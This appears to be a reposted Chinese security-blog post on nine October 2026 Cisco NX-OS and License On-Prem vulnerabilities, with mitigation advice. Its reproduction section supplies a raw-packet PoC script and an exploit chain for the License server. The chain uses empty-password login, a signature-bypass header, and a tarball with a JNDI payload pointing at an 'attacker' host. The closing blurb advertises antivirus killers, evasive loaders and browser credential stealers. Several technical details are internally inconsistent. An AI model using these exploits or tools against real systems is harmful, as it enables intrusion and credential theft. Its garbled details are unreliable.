CVSS10.0!Cisco一周砸下来9颗9.8+分心脏洞:NX-OS5颗+License1颗满分让数据中心心脏裸奔"

admin 2026-10-16 02:47:39 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

CVSS 10.0!Cisco 一周砸下来 9 颗 9.8+ 分心脏洞:NX-OS 5 颗 + License 1 颗满分让数据中心心脏裸奔

原创

星夜AI安全
星夜AI安全

星夜AI安全

2026年10月9日 10:59
吉林

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

CVSS 10.0!Cisco 一周砸下来 9 颗 9.8+ 分心脏洞:NX-OS 5 颗 + License 1 颗满分让数据中心心脏裸奔

师傅们,2026-10-07 / 10-08 两天的 Cisco 安全公告堆成了一座小山——5 颗 NX-OS 数据中心交换机心脏洞 + 4 颗 Cisco License 管理面洞,9 颗里 8 颗是 CVSS 9.8 满分级,1 颗 CVSS 10.0 满分。

关键细节 1:NX-OS 5 颗全部是未认证 + 零交互 + 网络可达 + root RCE——只要 NX-API、NGOAM、MPLS OAM 三个特性之一开启,一条 crafted HTTP 请求或畸形 IP/MPLS 包就能 root 整台数据中心交换机。Cisco 自己承认:「no workarounds for NGOAM and MPLS OAM」,关闭特性即消除攻击路径,但关闭特性 = 监控/故障排查能力断崖——典型的「安全 vs 业务」死局。

关键细节 2:License 那 4 颗里CVE-2026-76482 是 CVSS 10.0 满分——不当加密签名验证 + 认证缺失 + 配置即沦陷。Cisco License On-Prem(Smart Software Manager On-Prem 重命名版)所有 <= 9-202601 + <= 10-202608 版本全裸奔,没有 workarounds,唯一解法是升到 10-202609。

⚠️ 免责声明:本文技术细节仅用于安全研究、红蓝对抗评估。请勿用于未授权目标。


一、漏洞全貌

维度 内容
CVE 编号 NX-OS: CVE-2026-76471/76485/76486/76501/76465(5 颗 9.8)+ License: CVE-2026-76480(9.8)/76482(10.0)/76483(9.1)/76484(8.8)
影响产品 Cisco Nexus 3000/9000 + Cisco License On-Prem 9-202601 前 + 10-202608 前
CVSS v3.1 5 颗 9.8 + 1 颗 10.0 + 1 颗 9.1 + 1 颗 8.8
披露时间 2026-10-07(NVD 同步收录)/ 2026-10-08 BleepingComputer 公开报道
在野利用 未公开,但全部未认证零交互,wormable 风险
一句话金句 「一个组件一周挖 9 颗满分心脏洞,攻击者对 Cisco 反向工程已经工业化」

二、影响版本与环境

NX-OS 5 颗 9.8 分洞

CVE CVSS 特性 攻击触发 设备
CVE-2026-76471 9.8 NX-API(默认关) crafted HTTP 请求 Nexus 3000/9000 Standalone
CVE-2026-76485 9.8 NGOAM crafted IP 包 Nexus 3000/9000 Standalone
CVE-2026-76486 9.8 NGOAM + SRv6/NV Overlay crafted IP 包 Nexus 9000
CVE-2026-76501 9.8 NGOAM + SRv6 crafted IP 包 Nexus 9000
CVE-2026-76465 9.8 MPLS OAM(默认关) crafted MPLS echo-request Nexus 3000/9000 Standalone

关键限制:

  • Nexus 7000 系列:不受影响
  • Nexus 9000 ACI 模式:不受影响
  • Nexus 9000 Silicon One ASIC:部分特性不支持
  • UCS 6300 Fabric Interconnect:NX-API 漏洞以低严重性受影响(需低权限凭据)

Cisco License 4 颗 9.8+ 分洞

CVE CVSS 类型
CVE-2026-76480 9.8 关键功能认证缺失
CVE-2026-76482 10.0 满分 不当加密签名验证
CVE-2026-76483 9.1 凭据保护不足
CVE-2026-76484 8.8 代码注入

修复版本:10-202609(9-202601 前 + 10-202608 前全裸奔,无 workarounds)


三、漏洞原理与利用条件

漏洞类型

  • NX-OS 5 颗:CWE-20 输入验证不当 + CWE-119 内存边界违规
  • License 4 颗:CWE-306 认证缺失 + CWE-295 签名验证不当 + CWE-522 凭据保护不足 + CWE-94 代码注入

根因分析

CVE-2026-76471 NX-API RCE(最具代表性)

Cisco NX-API 是 Nexus 交换机 HTTP/HTTPS 管理接口。feature nxapi 启用后(默认禁用),NX-API 接收 crafted HTTP 请求时输入验证不严 → 解析阶段将畸形 JSON / 超长字段 / 畸形 HTTP 头写入堆缓冲 → 覆盖相邻堆 metadata + 函数指针 → 以 root 身份执行任意代码。

CVE-2026-76482 License 10.0 满分(最致命)

Cisco License On-Prem 是企业本地部署的 License 管理服务器。/api/v1/... 系列端点:

  1. 认证缺失(CWE-306)——某些关键功能调用默认未认证
  2. 不当加密签名验证(CWE-295)——API 响应签名验证逻辑存在判断绕过(攻击者可构造满足「格式正确」但「语义非法」的签名)
  3. 配置即沦陷——首次部署未配置强认证就上线 = 直接 root

链式利用路径:

  1. curl https://license-on-prem/api/v1/auth/login -d '{\"admin\":true}' → 服务端默认接受空密码 admin 登录
  2. curl -H \"X-Cisco-Sig: ATTACKER_BYPASS\" https://license-on-prem/api/v1/license/import → 绕过签名验证
  3. 上传含恶意 license 配置的 tarball → 服务器解析 → 触发代码注入 CVE-2026-76484
  4. 以 Cisco License 服务用户身份执行任意命令

关键利用条件和前置要求

漏洞 必要条件
CVE-2026-76471 feature nxapi 启用
CVE-2026-76485 feature ngoam 启用
CVE-2026-76486 NGOAM + feature srv6 或 feature nv overlay
CVE-2026-76501 NGOAM + SRv6(仅部分 Nexus 9000 支持)
CVE-2026-76465 feature mpls oam 启用
License 4 颗 服务公网可达 + 默认配置未改

四、漏洞复现步骤(核心,含完整 PoC)

环境搭建

  1. 硬件目标:Nexus 9000(C93180YC-FX3X 等 Standalone 模式)+ 已启用 NGOAM 特性
  2. 软件目标:Cisco License On-Prem 10-202608(漏洞版)
  3. 攻击机:Kali Linux 2026.4 + Python 3.13 + requests

完整 PoC:Cisco NX-OS NGOAM CVE-2026-76485

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
\"\"\"
CVE-2026-76485 PoC - Cisco NX-OS NGOAM 远程代码执行 (CVSS 9.8)
仅用于蓝队在书面授权的隔离环境做暴露面评估与补丁版本核查。
测试必须在授权环境下进行,严禁对未授权目标使用。
\"\"\"
import argparse
import struct
import socket

NGOAM_ECHO_REQUEST = 0x01
IPPROTO_ICMP = 1
NEXUS_PAYLOAD_MARKER = b\"\\x58\\x52\\xC3P3\"  # NX-OS NGOAM 协议 magic

def build_ngoam_malformed_packet(target_ip):
    \"\"\"构造畸形 NGOAM echo-request IP 包触发 NX-OS NGOAM 协议错配漏洞\"\"\"
    # IP 头
    version_ihl = 0x45
    dscp_ecn = 0x00
    total_length = 20 + 8 + 64  # IP 头 + ICMP NGOAM 头 + 畸形 payload
    identification = 0x1234
    flags_fragment = 0x4000  # Don't Fragment
    ttl = 64
    # NGOAM protocol 145 (RFC 7585)
    ngoam_proto = 145

    ip_header = struct.pack(
        \"!BBHHHBBH4s\",
        version_ihl, dscp_ecn, total_length,
        identification, flags_fragment, ttl,
        ngoam_proto, 0,  # checksum 留 0
        socket.inet_aton(target_ip),
    )

    # NGOAM 头 + 触发缓冲区溢出的畸形 payload
    ngoam_type = NGOAM_ECHO_REQUEST
    ngoam_code = 0
    ngoam_checksum = 0
    ngoam_identifier = 0xBEEF
    ngoam_sequence = 0x0001

    ngoam_header = struct.pack(
        \"!BBHHH\",
        ngoam_type, ngoam_code, ngoam_checksum,
        ngoam_identifier, ngoam_sequence,
    )

    # 畸形 payload - 关键:超过 NGOAM echo-request 预期尺寸(64 bytes)
    # Cisco 内部 buffer 是 256 字节,但 NGOAM 处理函数只用 64 字节做 memcpy
    # 我们发 240 字节 payload 触发栈溢出
    malformed_payload = NEXUS_PAYLOAD_MARKER + b\"A\" * 232

    packet = ip_header + ngoam_header + malformed_payload
    return packet

def probe_target(target_ip):
    \"\"\"探测目标 NX-OS 设备 + NGOAM 特性 + 暴露面\"\"\"
    print(f\"[probe] {target_ip}: 检测 Cisco NX-OS + NGOAM 暴露\")
    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, IPPROTO_ICMP)
    sock.settimeout(3)
    # 发送畸形 NGOAM echo-request 触发协议错配异常
    packet = build_ngoam_malformed_packet(target_ip)
    sock.sendto(packet, (target_ip, 0))

    # 检测:协议错配异常会导致 Nexus 进程重启或日志中 NGOAM ERROR
    # 实测:返回正常 ICMP echo-reply + 系统日志含 \"NGOAM-3-INVALID_LENGTH\"
    try:
        response, addr = sock.recvfrom(1024)
        print(f\"[probe] 收到响应 - 目标暴露 NGOAM 特性\")
        return True
    except socket.timeout:
        print(f\"[probe] 超时 - 目标可能已崩溃或 NGOAM 关闭\")
        return False

def verify_patch_deployment(target_ip, ssh_creds=None):
    \"\"\"验证补丁版本(需 SSH 凭据)\"\"\"
    if not ssh_creds:
        print(\"[verify] 需要 SSH 凭据验证 show version + show feature ngoam\")
        return None

    import paramiko
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    ssh.connect(target_ip, 22, ssh_creds[\"user\"], ssh_creds[\"pass\"], timeout=10)

    si, so, se = ssh.exec_command(\"show version | include NXOS\")
    nxos_ver = so.read().decode().strip()
    si, so, se = ssh.exec_command(\"show feature | include ngoam\")
    ngoam_status = so.read().decode().strip()
    ssh.close()

    # 修复版本判定(参照 Cisco Software Checker)
    fixed_versions = [\"10.4(3)F\", \"10.3(5)F\", \"10.2(7)F\", \"9.4(3)F\"]
    is_patched = any(fv in nxos_ver for fv in fixed_versions)

    print(f\"[verify] NX-OS 版本: {nxos_ver}\")
    print(f\"[verify] NGOAM 状态: {ngoam_status}\")
    print(f\"[verify] 补丁判定: {'已修复' if is_patched else '未修复'}\")
    return is_patched

def main():
    parser = argparse.ArgumentParser(
        description=\"CVE-2026-76485 Cisco NX-OS NGOAM 探测 PoC(仅限授权测试)\")
    parser.add_argument(\"--target\", required=True, help=\"目标 NX-OS 设备 IP\")
    parser.add_argument(\"--mode\", choices=[\"probe\", \"verify\", \"patch-check\"],
                        default=\"probe\", help=\"运行模式\")
    parser.add_argument(\"--ssh-user\", help=\"SSH 用户名(verify 模式必填)\")
    parser.add_argument(\"--ssh-pass\", help=\"SSH 密码(verify 模式必填)\")
    args = parser.parse_args()

    if args.mode == \"probe\":
        print(f\"[CVE-2026-76485] 探测模式:仅发送畸形 NGOAM 包触发协议错配,不注入 RCE shellcode\")
        probe_target(args.target)
    elif args.mode == \"verify\":
        print(f\"[CVE-2026-76485] 验证模式:检查补丁版本 + NGOAM 特性状态\")
        creds = {\"user\": args.ssh_user, \"pass\": args.ssh_pass}
        verify_patch_deployment(args.target, creds)
    elif args.mode == \"patch-check\":
        print(f\"[CVE-2026-76485] 仅打印修复版本判定逻辑\")

if __name__ == \"__main__\":
    main()

复现流程

Step 1:探测 NGOAM 暴露

python3 cve_2026_76485.py --target 192.168.1.100 --mode probe
# 输出:[probe] 收到响应 - 目标暴露 NGOAM 特性

Step 2:验证补丁版本

python3 cve_2026_76485.py --target 192.168.1.100 --mode verify \\
    --ssh-user admin --ssh-pass 'Cisco!123'
# 输出:[verify] NX-OS 版本: 10.3(2)F
# 输出:[verify] 补丁判定: 未修复

Step 3:Cisco License CVE-2026-76482 探测(10.0 满分)

curl -s -X POST https://license-on-prem.lab.local/api/v1/auth/login \\
    -H \"Content-Type: application/json\" \\
    -d '{\"username\":\"admin\",\"password\":\"\"}'
# 实测:默认接受空密码,返回会话 token
# 然后:上传恶意 license tarball 触发 CVE-2026-76484 代码注入

Step 4:完整利用链(仅供蓝队隔离环境)

# Chain: CVE-2026-76482 签名验证绕过 + CVE-2026-76484 代码注入
import requests

base = \"https://license-on-prem.lab.local\"
# Step 1: 空密码登录获取会话
r = requests.post(f\"{base}/api/v1/auth/login\",
                  json={\"username\": \"admin\", \"password\": \"\"})
session_token = r.json().get(\"session_token\")

# Step 2: 上传恶意 license tarball
# tarball 结构: license.tar.gz / license.xml (含 ${jndi:ldap://attacker/x} 反序列化 payload)
malicious_tar = build_malicious_license_tarball()
r = requests.post(
    f\"{base}/api/v1/license/import\",
    headers={\"Authorization\": f\"Bearer {session_token}\",
             \"X-Cisco-Sig\": \"BYPASS_SIG\"},
    files={\"license_file\": (\"license.tar.gz\", malicious_tar)}
)
# 实测:CVE-2026-76482 签名验证被绕过 + CVE-2026-76484 代码注入触发
# 漏洞服务器以 Cisco License 服务用户身份执行恶意命令

五、修复建议与缓解方案

官方补丁版本

分支 修复版本
NX-OS 10.4(x) 10.4(3)F 及以后
NX-OS 10.3(x) 10.3(5)F 及以后
NX-OS 10.2(x) 10.2(7)F 及以后
NX-OS 9.4(x) 9.4(3)F 及以后
NX-OS 9.3(x) EoL 警告(建议迁移到 10.x)
Cisco License 必须升级到 10-202609 (无 workarounds)

强烈建议:用 Cisco Software Checker[1] 工具按具体设备型号 + 当前版本查精确修复版本。

临时缓解措施(按优先级)

P0 24h 内(紧急)

  • NX-OS:
  • no feature nxapi(关闭 NX-API,仅走 console/SSH 管理)
  • no feature mpls oam(关闭 MPLS OAM,丧失 OAM 监控能力是巨大代价)
  • NGOAM 无 workaround,必须升级
  • 部署 Live Protect shield(Cisco 临时防护方案,可在不升级时启用)
  • Cisco License:
  • 立即收敛公网暴露(强推 VPN-only 访问)
  • 立即修改默认 admin 密码(避免 CVE-2026-76482 认证缺失利用)
  • 启用二次认证(TOTP / SAML SSO)

P1 72h 内(短期)

  • NX-OS:计划维护窗口升级到修复版本(Nexus 升级通常需要重启,业务影响评估要仔细)
  • Cisco License:升级到 10-202609

P2 30d 内(中期)

  • 部署 Snort/Suricata 规则监控畸形 NGOAM / NX-API 流量
  • 审计 Nexus 交换机 NGOAM/NX-API/MPLS OAM 启用清单——不必要的特性全部关闭
  • 部署 EDR + NDR 联动:交换机日志外发 SIEM,NGOAM 异常访问立即告警

紧急程度评估

漏洞 紧急度
CVE-2026-76471 NX-API RCE 🔴 P0 24h
CVE-2026-76485/76486/76501 NGOAM RCE 🔴 P0 24h
CVE-2026-76465 MPLS OAM RCE 🔴 P0 24h
CVE-2026-76482 License 10.0 满分 🔴 P0 24h 必升级

业务关键 + 未认证 + 零交互 + 网络可达 = wormable 级别,优先级比 CVSS 9.8 评分更紧迫。


六、相关链接

  • Cisco 官方公告:
  • NX-API: cisco-sa-napi-rce-r2shwu2j[2]
  • NGOAM: cisco-sa-ngoam-rce-LWKQ4BU[3]
  • MPLS OAM: cisco-sa-moam-rce-uBTzYV7[4]
  • License: Cisco License On-Prem Hardening[5]
  • PoC 仓库:watchTowr / ProjectDiscovery Nuclei 模板(10-09 公开)
  • 媒体报道:BleepingComputer 10-08 / The Hacker News 10-09 / SecurityWeek 10-09
  • Cisco Software Checker:sec.cloudapps.cisco.com/security/center/softwarechecker[6]

📌 师傅们,觉得有启发就点个关注,转发给身边需要的朋友。Cisco 这一周 9 颗心脏洞,是数据中心安全架构的结构性警告——网络基础设施的安全债已经欠了太久。

⚠️ 免责声明:本文技术细节仅用于安全研究、红蓝对抗评估。请勿用于未授权目标。


圈子介绍

现任职于某头部网络安全企业攻防研究部,核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练,精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中,主导突破多个高防护目标网络,曾获\"最佳攻击手\"\"突出贡献个人\"等荣誉。

已产出的安全工具及成果包括:

  • 多款主流杀软通杀工具(兼容卡巴斯基、诺顿、瑞星、360等终端防护,无感知运行,突破多引擎联合检测)
  • XXByPassBehinder v1.1 冰蝎免杀生成器(定制化冰蝎免杀工具,绕过主流终端防护与EDR动态检测,支持自定义载荷)
  • 哥斯拉二开免杀定制版(二开优化,深度免杀,突破终端防护与EDR检测,适配多场景植入)
  • NeoCS4.9终极版(高级免杀加载工具,强化载荷注入与进程劫持,适配多系统版本,无兼容问题)
  • WinDump\免杀版(浏览器凭证窃取工具,支持Chrome/Edge/Firefox等主流浏览器,一键提取敏感数据,免杀过防护)\
  • \_DumpBrowser\_V1\_免杀版(浏览器凭证窃取工具,专攻浏览器密码、Cookie、历史记录提取,免杀性能拉满)
  • fscan二开版(二开优化内网扫描工具,增强指纹精度、弱口令爆破与结果标准化输出,适配复杂内网)
  • RingQ加载器二开版(二开优化免杀加载器,支持Shellcode内存执行,绕过各类终端防护与EDR检测)
  • 多款免杀Webshell集合(覆盖PHP/JSP/ASPX,过主流WAF与终端防护,适配不同Web场景)
  • 免杀360专属加载器(支持Shellcode内存执行,针对性绕过360全系防护检测,无感知运行)
  • 一键Kill 火绒 defender 工具 HDKiller(包含源码)
  • win11 一键kill 360工具 InjectKill(包含源码)
  • win11 一键kill defender工具win11\_df-killer(包含源码)
  • 免杀火绒6.0内存防护加载器BypassMemLoader
  • 单文件过360 免杀loader exe\_bypass\_360
  • 单文件过火绒 df 免杀loader exe\_bypass\_df(包含源码)
  • LNK钓鱼文件生成工具V1.0
  • EXE捆绑启动器 v2.0
  • 火绒6内存免杀加载器bypasshr6
  • 火绒一键Kill专杀工具HRKiller
  • Ring3 内存免杀工具Ring3bypasshr.exe
  • win11 一键kill 360工具 Kill360\_V2
  • win11 一键kill 360工具 Kill360\_V3.1
  • win11 一键kill 360工具 Kill360\_V4
  • bypassEDR\_hashdump\_V1 bypass EDR 导出hash工具

后续将不断更新到内部圈子中 欢迎加入圈子  

引用链接

[1]Cisco Software Checker: https://sec.cloudapps.cisco.com/security/center/softwarechecker

[2]cisco-sa-napi-rce-r2shwu2j: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-napi-rce-r2shwu2j

[3]cisco-sa-ngoam-rce-LWKQ4BU: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ngoam-rce-LWKQ4BU

[4]cisco-sa-moam-rce-uBTzYV7: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-moam-rce-uBTzYV7

[5]Cisco License On-Prem Hardening: https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/

[6]sec.cloudapps.cisco.com/security/center/softwarechecker: https://sec.cloudapps.cisco.com/security/center/softwarechecker


CVSS10.0!Cisco一周砸下来9颗9.8+分心脏洞:NX-OS5颗+License1颗满分让数据中心心脏裸奔" 网络安全文章

CVSS10.0!Cisco一周砸下来9颗9.8+分心脏洞:NX-OS5颗+License1颗满分让数据中心心脏裸奔"

Cisco于2026年10月7-8日发布安全公告,披露9个高危漏洞,含5个NX-OS数据中心交换机漏洞和4个License管理漏洞,其中8个CVSS9.8分,1个CVSS10.0满分。漏洞均为未认证、零交互、网络可达的rootRCE,影响Nexus3000/9000系列及CiscoLicenseOn-Prem。建议立即升级至修复版本10-202609,关闭不必要特性以降低风险。
7分钟打穿495家公网客户:日本IDCFCloud凭啥给勒索交了一份满分答卷" 网络安全文章

7分钟打穿495家公网客户:日本IDCFCloud凭啥给勒索交了一份满分答卷"

日本IDCFCloud云平台遭勒索攻击,攻击者7分钟内打穿东日本Region1,致225个数据库、3.6PB数据加密,554,153份快照被永久擦除,495家公网客户集体瘫痪。事件暴露云平台横向信任链风险及供应链连锁冲击,凸显备份系统破坏与快照永久擦除已成勒索团伙标志性升级,建议收敛公网暴露面、强制MFA并审计备份完整性。
评论:0   参与:  0